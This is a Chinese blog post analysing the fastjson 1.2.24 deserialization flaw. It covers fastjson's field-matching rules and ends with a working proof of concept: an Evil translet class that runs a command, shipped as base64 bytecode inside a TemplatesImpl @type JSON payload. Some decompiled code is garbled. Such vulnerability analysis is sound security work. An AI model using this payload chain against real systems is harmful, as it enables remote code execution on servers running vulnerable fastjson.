1. 程式人生 > >fastjson反序列化漏洞分析

fastjson反序列化漏洞分析

基本使用

maven

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

序列化

package fastjsonHelloWorld;

public class User {
    private String name;
    private Integer age;
    private
String email; public String getName_1() { return name; } public void setName_1(String name) { this.name = name; } public Integer getAge() { return age; } public void setAge(Integer age) { this.age = age; } public String toString
() { return "name:" + name + " age:" + age + " email:" + email; } }
package fastjsonHelloWorld;

import java.util.ArrayList;
import java.util.List;
import com.alibaba.fastjson.JSON;

public class fastjsonSerialize {

    public static void main(String[] args) {
        User user = new
User(); user.setName_1("xiaomin"); user.setAge(18); String json = JSON.toJSONString(user); System.out.println(json); List<User> users = new ArrayList<User>(); users.add(user); String jsonlist = JSON.toJSONString(users); System.out.println(jsonlist); } }

輸出:

{"age":18,"name_1":"xiaomin"}
[{"age":18,"name_1":"xiaomin"}]

反序列化

package fastjsonHelloWorld;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class fastjsonDeserialize {

    public static void main(String[] args) {
        String json = "{\"@type\":\"fastjsonHelloWorld.User\",\"name_1\":\"xiaomin\",\"age\":20, \"email\":\"[email protected]\"}";
        User user = (User) JSON.parse(json);
        System.out.println(user.toString());

        Object obj = JSON.parseObject(json, Object.class, Feature.SupportNonPublicField);
        System.out.println(obj);
    }
}

輸出:

name:xiaomin age:20 email:null
name:xiaomin age:20 email:xxx@qq.com

get/set方法匹配規則

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.smartMatch(String key)匹配get/set方法時,會去掉field前的_和-,並忽略大小寫。

  public FieldDeserializer smartMatch(String key)
  {
    if (key == null) {
      return null;
    }
    FieldDeserializer fieldDeserializer = getFieldDeserializer(key);
    FieldDeserializer fieldDeser;
    if (fieldDeserializer == null)
    {
      boolean startsWithIs = key.startsWith("is");
      for (fieldDeser : this.sortedFieldDeserializers)
      {
        FieldInfo fieldInfo = fieldDeser.fieldInfo;
        Class<?> fieldClass = fieldInfo.fieldClass;
        String fieldName = fieldInfo.name;
        if (fieldName.equalsIgnoreCase(key))
        {
          fieldDeserializer = fieldDeser;
          break;
        }
        if ((startsWithIs) && ((fieldClass == Boolean.TYPE) || (fieldClass == Boolean.class))) {
          if (fieldName.equalsIgnoreCase(key.substring(2)))
          {
            fieldDeserializer = fieldDeser;
            break;
          }
        }
      }
    }
    boolean snakeOrkebab;
    String key2;
    int i;
    if (fieldDeserializer == null)
    {
      snakeOrkebab = false;
      key2 = null;
      char ch;
      for (i = 0; i < key.length(); i++)
      {
        ch = key.charAt(i);
        if (ch == '_')
        {
          snakeOrkebab = true;
          key2 = key.replaceAll("_", "");
          break;
        }
        if (ch == '-')
        {
          snakeOrkebab = true;
          key2 = key.replaceAll("-", "");
          break;
        }
      }
      if (snakeOrkebab)
      {
        fieldDeserializer = getFieldDeserializer(key2);
        if (fieldDeserializer == null)
        {
          FieldDeserializer[] arrayOfFieldDeserializer2 = this.sortedFieldDeserializers;ch = arrayOfFieldDeserializer2.length;
          for (fieldDeser = 0; fieldDeser < ch; fieldDeser++)
          {
            FieldDeserializer fieldDeser = arrayOfFieldDeserializer2[fieldDeser];
            if (fieldDeser.fieldInfo.name.equalsIgnoreCase(key2))
            {
              fieldDeserializer = fieldDeser;
              break;
            }
          }
        }
      }
    }
    if (fieldDeserializer == null) {
      for (FieldDeserializer fieldDeser : this.sortedFieldDeserializers) {
        if (fieldDeser.fieldInfo.alternateName(key))
        {
          fieldDeserializer = fieldDeser;
          break;
        }
      }
    }
    return fieldDeserializer;
  }

總結

  • 反序列化時需要輸入的json字串指定@type
  • 對於private成員,預設通過匹配get/set方法來反序列化,匹配不到則無法反序列化類成員變數。
  • 對於public成員,預設通過匹配get/set方法來反序列化,匹配不到則直接匹配類成員名;再匹配不到則無法反序列化類成員變數。
  • 如果開啟Feature.SupportNonPublicField,則private成員反序列化規則同public成員。
  • 類成員和類方法的匹配規則為smartMatch,去掉field前的_和-,並忽略大小寫

漏洞分析

POC

    <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>
        <dependency>
            <groupId>commons-io</groupId>
            <artifactId>commons-io</artifactId>
            <version>2.4</version>
        </dependency>
        <dependency>
            <groupId>commons-codec</groupId>
            <artifactId>commons-codec</artifactId>
            <version>1.9</version>
        </dependency>
    </dependencies>
package fastjsonHelloWorld;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
    public Evil() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {     
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
            throws TransletException {
    }
}
package fastjsonHelloWorld;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;


public class fastjsonPOC {

    public static String aposToQuotes(String json){
        return json.replace("'", "\"");
    }

    public static String readClassStr(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
    }

    public static void main(String[] args) throws Exception {
        String evilcode = readClassStr("D:\\Users\\workspace\\fastjsonHelloWorld\\target\\classes\\fastjsonHelloWorld\\Evil.class");
        //{"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["yv66vgAAADEALAcAAgEAF2Zhc3Rqc29uSGVsbG9Xb3JsZC9FdmlsBwAEAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEABjxpbml0PgEAAygpVgEACkV4Y2VwdGlvbnMHAAkBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAEQ29kZQoAAwAMDAAFAAYKAA4AEAcADwEAEWphdmEvbGFuZy9SdW50aW1lDAARABIBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CAAUAQAEY2FsYwoADgAWDAAXABgBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAGUxmYXN0anNvbkhlbGxvV29ybGQvRXZpbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHACABADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhACEAAQADAAAAAAADAAEABQAGAAIABwAAAAQAAQAIAAoAAABAAAIAAQAAAA4qtwALuAANEhO2ABVXsQAAAAIAGQAAAA4AAwAAAAkABAAKAA0ACwAaAAAADAABAAAADgAbABwAAAABAB0AHgACAAcAAAAEAAEAHwAKAAAAPwAAAAMAAAABsQAAAAIAGQAAAAYAAQAAAA4AGgAAACAAAwAAAAEAGwAcAAAAAAABACEAIgABAAAAAQAjACQAAgABAB0AJQACAAcAAAAEAAEAHwAKAAAASQAAAAQAAAABsQAAAAIAGQAAAAYAAQAAABMAGgAAACoABAAAAAEAGwAcAAAAAAABACEAIgABAAAAAQAmACcAAgAAAAEAKAApAAMAAQAqAAAAAgAr"],"_name": "a.b","_tfactory": {},"_outputProperties": {}}
        String json = aposToQuotes(
                "{" + 
    "'@type': 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl'," +
    "'_bytecodes': " + "['" + evilcode + "']," +
    "'_name': 'a.b'," + 
    "'_tfactory': {}," + 
    "'_outputProperties': {}" + 
"}");
        System.out.println(json);
        JSON.parseObject(json,Object.class,Feature.SupportNonPublicField);
    }
}

觸發條件

  • fastjson <= 1.2.24
  • Feature.SupportNonPublicField

參考

原始碼

相關推薦

fastjson序列漏洞分析

基本使用 maven <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId>

Fastjson 1.2.22-24 序列漏洞分析

dcl trac xslt dom 反序 ast 其中 axis remote 0x00 簡單介紹 介紹:FastJson是一款由阿裏開發的JSON庫 影響版本:1.2.22-24 官方通告:https://github.com/alibaba/fastjson/wiki

Java序列漏洞分析

https://xz.aliyun.com/t/136  寫的挺詳細的,大致瞭解了,整個流程,有點事,之後在細跟 目錄 1. 背景 2. 認識java序列化與反序列化 3. 理解漏洞的產生 4. POC構造 5. 實際漏洞環境測試 6. 總結 背景   2015年11月

Typo3 CVE-2019-12747 序列漏洞分析

1. 前言 TYPO3是一個以PHP編寫、採用GNU通用公共許可證的自由、開源的內容管理系統。 2019年7月16日,RIP

Fastjson序列漏洞概述

Fastjson反序列化漏洞概述 ​ 背景 在推動Fastjson元件升級的過程中遇到一些問題,為幫助業務同學理解漏洞危害,下文將從整體上對其漏洞原理及利用方式做歸納總結,主要是一些概述性和原理上的東西。 漏洞原理 多個版本的Fastjson元件在反序列化不可信資料時會導致程式碼執行。究其原因,首先,Fast

Java安全之Shiro 550序列漏洞分析

# Java安全之Shiro 550反序列化漏洞分析 首發自安全客:[Java安全之Shiro 550反序列化漏洞分析](https://www.anquanke.com/post/id/225442#h2-7) ## 0x00 前言 在近些時間基本都能在一些滲透或者是攻防演練中看到Shiro的身影,也

原來不只是fastjson,這個你每天都在用的類庫也被爆過序列漏洞

[GitHub 15.8k Star 的Java工程師成神之路,不來了解一下嗎!](https://github.com/hollischuang/toBeTopJavaer) [GitHub 15.8k Star 的Java工程師成神之路,真的不來了解一下嗎!](https://github.com/ho

php序列漏洞繞過魔術方法 __wakeup

prot poc cte enc repo private 成員 .html blank 0x01 前言 前天學校的ctf比賽,有一道題是關於php反序列化漏洞繞過wakeup,最後跟著大佬們學到了一波姿勢。。 0x02 原理 序列化與反序列化簡單介紹 序列化:把復雜的數據

小白審計JACKSON序列漏洞

ces serialize 簡單 mage 簡單介紹 rac led 代碼審計 ble 1. JACKSON漏洞解析 poc代碼:main.java import com.fasterxml.jackson.databind.ObjectMapper; import co

PHP序列漏洞學習

exc tof target fun 反序 ring 內容 style 字符串 serialize:序列化 unserialize: 反序列化 簡單解釋: serialize 把一個對象轉成字符串形式, 可以用於保存 unserialize 把serialize序列化後的字

XMLDecoder序列漏洞

xmldecoder java 反序列化 Java 調用XMLDecoder解析XML文件的時候,存在命令執行漏洞。樣例XML文件如下所示:<?xml version="1.0" encoding="UTF-8"?> <java version="1.8.0_131" class

PHP序列漏洞

發生 arc arr 再看 記錄 php7 數據化 tostring 又能 聊一聊PHP反序列化漏洞 2016年11月4日 反序列化漏洞在各種語言中都較為常見,下面就簡單聊一聊PHP的反序列化漏洞(PHP對象註入)。第一次了解這個洞還是在某次ctf上,就簡單記錄下個人理解

Typecho 序列漏洞導致前臺 getshell

typecho 反序列化漏洞導致前臺 getshell前言最早知道這個漏洞是在一個微信群裏,說是install.php文件裏面有個後門,看到別人給的截圖一看就知道是個PHP反序列化漏洞,趕緊上服務器看了看自己的博客,發現自己也中招了,相關代碼如下:然後果斷在文件第一行加上了die:<?php die(‘

java序列漏洞的檢測

spa div ria comm span Coding python odin ima 1、首先下載常用的工具ysoserial 這邊提供下載地址:https://jitpack.io/com/github/frohoff/ysoserial/master-v0.0.5-

WebLogic 10.3.6.0 升級序列漏洞補丁

成功 wget命令 下載 攻擊 generic 價格 server move 被黑 由於最近比特幣被炒到近乎不可思議的價格,所以網絡上的肉雞都被黑產們一個個培養成了挖礦雞。今兒就聊聊如何進行WebLogic10的反序列化漏洞的升級方法。 1、修改bsu.sh 把內存

java序列漏洞原理研習

java程序 out import 修改 sed 判斷 pub 發現 commons 零、Java反序列化漏洞   java的安全問題首屈一指的就是反序列化漏洞,可以執行命令啊,甚至直接getshell,所以趁著這個假期好好研究一下java的反序列化漏洞。另外呢,組裏多位大

Java序列漏洞的挖掘、攻擊與防禦

body per 所有 http 操作 www except ride 方法 一、Java反序列化漏洞的挖掘 1、黑盒流量分析: 在Java反序列化傳送的包中,一般有兩種傳送方式,在TCP報文中,一般二進制流方式傳輸,在HTTP報文中,則大多以base64傳輸。因而在流量中

weblogic AND jboss 序列漏洞

我們 cat logic -- ram icc 訪問 web訪問 驗證 C:\Program Files\Java\jboss-4.2.3.GA\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF serve

CVE-2017-12149JBoss 序列漏洞利用

命令行 edi AC 頁面 server cto dex form 文件頭 CVE-2017-12149 漏洞描述 互聯網爆出JBOSSApplication Server反序列化命令執行漏洞(CVE-2017-12149),遠程攻擊者利用漏洞可在未經任何身份驗證的服務器

ref:PHP序列漏洞成因及漏洞挖掘技巧與案例

tmp 問題 文章 extend === 代碼 簡單的 ted IE ref:https://www.anquanke.com/post/id/84922 PHP反序列化漏洞成因及漏洞挖掘技巧與案例 一、序列化和反序列化 序列化和反序列化的目的是使得程序間傳輸對象會更加方